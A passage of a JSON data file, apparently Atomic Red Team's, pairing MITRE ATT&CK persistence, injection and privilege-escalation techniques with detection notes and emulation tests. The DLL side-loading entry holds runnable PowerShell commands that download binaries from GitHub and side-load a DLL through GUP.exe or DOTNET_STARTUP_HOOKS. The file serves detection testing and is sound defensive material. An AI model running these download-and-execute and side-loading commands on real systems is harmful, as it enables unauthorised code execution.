Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Modification", - "File: File Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "root" - ], - "identifier": "T1037.004" - }, - "atomic_tests": [] - }, - "T1134": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Tom Ueltschi @c_APT_ure", - "Travis Smith, Tripwire", - "Robby Winchester, @robwinchester3", - "Jared Atkinson, @jaredcatkinson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", - "created": "2017-12-14T16:46:06.044Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134", - "url": "https://attack.mitre.org/techniques/T1134" - }, - { - "source_name": "BlackHat Atkinson Winchester Token Manipulation", - "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf", - "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017." - }, - { - "source_name": "Microsoft Command-line Logging", - "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017." - }, - { - "source_name": "Microsoft LogonUser", - "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx", - "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017." - }, - { - "source_name": "Microsoft DuplicateTokenEx", - "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", - "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017." - }, - { - "source_name": "Microsoft ImpersonateLoggedOnUser", - "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", - "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017." - }, - { - "source_name": "Pentestlab Token Manipulation", - "url": "https://pentestlab.blog/2017/04/03/token-manipulation/", - "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017." - }, - { - "url": "https://capec.mitre.org/data/definitions/633.html", - "source_name": "capec", - "external_id": "CAPEC-633" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", - "modified": "2022-05-03T02:14:43.557Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Access Token Manipulation", - "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Metadata", - "Process: Process Creation", - "Command: Command Execution", - "Active Directory: Active Directory Object Modification", - "Process: OS API Execution", - "User Account: User Account Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ], - "x_mitre_defense_bypassed": [ - "Windows User Account Control", - "Heuristic Detection", - "System Access Controls", - "Host Forensic Analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1543.002": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Tony Lambert, Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", - "type": "attack-pattern", - "created": "2020-01-17T16:15:19.870Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1543.002", - "url": "https://attack.mitre.org/techniques/T1543/002" - }, - { - "external_id": "CAPEC-550", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/550.html" - }, - { - "external_id": "CAPEC-551", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/551.html" - }, - { - "source_name": "Linux man-pages: systemd January 2014", - "url": "http://man7.org/linux/man-pages/man1/systemd.1.html", - "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019." - }, - { - "source_name": "Freedesktop.org Linux systemd 29SEP2018", - "url": "https://www.freedesktop.org/wiki/Software/systemd/", - "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019." - }, - { - "source_name": "Anomali Rocke March 2019", - "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", - "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019." - }, - { - "source_name": "Rapid7 Service Persistence 22JUNE2016", - "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence", - "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019." - } - ], - "modified": "2020-10-09T13:46:29.701Z", - "name": "Create or Modify System Process: Systemd Service", - "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all. Analyze the contents of .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service may reveal malicious systemd service execution.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Service: Service Creation", - "Process: Process Creation", - "File: File Modification", - "File: File Creation", - "Command: Command Execution", - "Service: Service Modification" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - "identifier": "T1543.002" - }, - "atomic_tests": [] - }, - "T1547.013": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Tony Lambert, Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", - "type": "attack-pattern", - "created": "2019-09-10T18:13:12.195Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.013", - "url": "https://attack.mitre.org/techniques/T1547/013" - }, - { - "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.", - "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html", - "source_name": "Free Desktop Application Autostart Feb 2006" - }, - { - "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.", - "url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html", - "source_name": "Free Desktop Entry Keys" - } - ], - "modified": "2020-11-10T15:55:10.103Z", - "name": "XDG Autostart Entries", - "description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "File: File Creation", - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ] - }, - "atomic_tests": [] - }, - "T1055.005": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744", - "type": "attack-pattern", - "created": "2020-01-14T01:30:41.092Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.005", - "url": "https://attack.mitre.org/techniques/T1055/005" - }, - { - "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", - "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.", - "source_name": "FireEye TLS Nov 2017" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - } - ], - "modified": "2021-10-18T12:24:54.198Z", - "name": "Thread Local Storage", - "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Modification", - "Process: Process Access", - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1547.007": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", - "created": "2020-01-24T18:15:06.641Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.007", - "url": "https://attack.mitre.org/techniques/T1547/007" - }, - { - "source_name": "Re-Open windows on Mac", - "url": "https://support.apple.com/en-us/HT204005", - "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017." - }, - { - "source_name": "Methods of Mac Malware Persistence", - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." - }, - { - "source_name": "Wardle Persistence Chapter", - "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", - "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.", - "modified": "2022-04-19T23:46:56.443Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Autostart Execution: Re-opened Applications", - "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Modification", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.007" - }, - "atomic_tests": [] - }, - "T1574.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "created": "2020-03-13T19:41:37.908Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.002", - "url": "https://attack.mitre.org/techniques/T1574/002" - }, - { - "source_name": "FireEye DLL Side-Loading", - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", - "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020." - }, - { - "url": "https://capec.mitre.org/data/definitions/641.html", - "source_name": "capec", - "external_id": "CAPEC-641" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", - "modified": "2022-05-05T04:07:48.912Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Hijack Execution Flow: DLL Side-Loading", - "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "File: File Modification", - "Module: Module Load", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1574.002" - }, - "atomic_tests": [ - { - "name": "DLL Side-Loading using the Notepad++ GUP.exe binary", - "auto_generated_guid": "65526037-7079-44a9-bda1-2cb624838040", - "description": "GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_name": { - "description": "Name of the created process", - "type": "string", - "default": "calculator.exe" - }, - "gup_executable": { - "description": "GUP is an open source signed binary used by Notepad++ for software updates", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Gup.exe binary must exist on disk at specified location (#{gup_executable})\n", - "prereq_command": "if (Test-Path #{gup_executable}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"#{gup_executable}\"\n" - } - ], - "executor": { - "command": "#{gup_executable}\n", - "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "DLL Side-Loading using the dotnet startup hook environment variable", - "auto_generated_guid": "d322cdd7-7d60-46e3-9111-648848da7c02", - "description": "Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_name": { - "description": "Name of the created process", - "type": "string", - "default": "calculator.exe" - }, - "preloader_dll": { - "description": "library for interfacing with the dotnet framework", - "type": "path", - "default": "PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": ".Net SDK must be installed\n", - "prereq_command": "if (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n", - "get_prereq_command": "winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n" - }, - { - "description": "preloader must exist\n", - "prereq_command": "if (Test-Path \"#{preloader_dll}\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"#{preloader_dll}\"\n" - } - ], - "executor": { - "command": "set DOTNET_STARTUP_HOOKS=#{preloader_dll}\ndotnet -h > nul\necho.\n", - "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1160": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1160", - "url": "https://attack.mitre.org/techniques/T1160" - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", - "source_name": "AppleDocs Launch Agent Daemons" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - }, - { - "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", - "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", - "source_name": "OSX Malware Detection" - }, - { - "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", - "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", - "source_name": "WireLurker" - } - ], - "modified": "2020-03-19T15:08:50.043Z", - "name": "Launch Daemon", - "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_effective_permissions": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1055.008": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", - "type": "attack-pattern", - "created": "2020-01-14T01:33:19.065Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.008", - "url": "https://attack.mitre.org/techniques/T1055/008" - }, - { - "source_name": "PTRACE man", - "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html", - "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020." - }, - { - "source_name": "Medium Ptrace JUL 2018", - "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be", - "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020." - }, - { - "source_name": "BH Linux Inject", - "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", - "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020." - }, - { - "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: 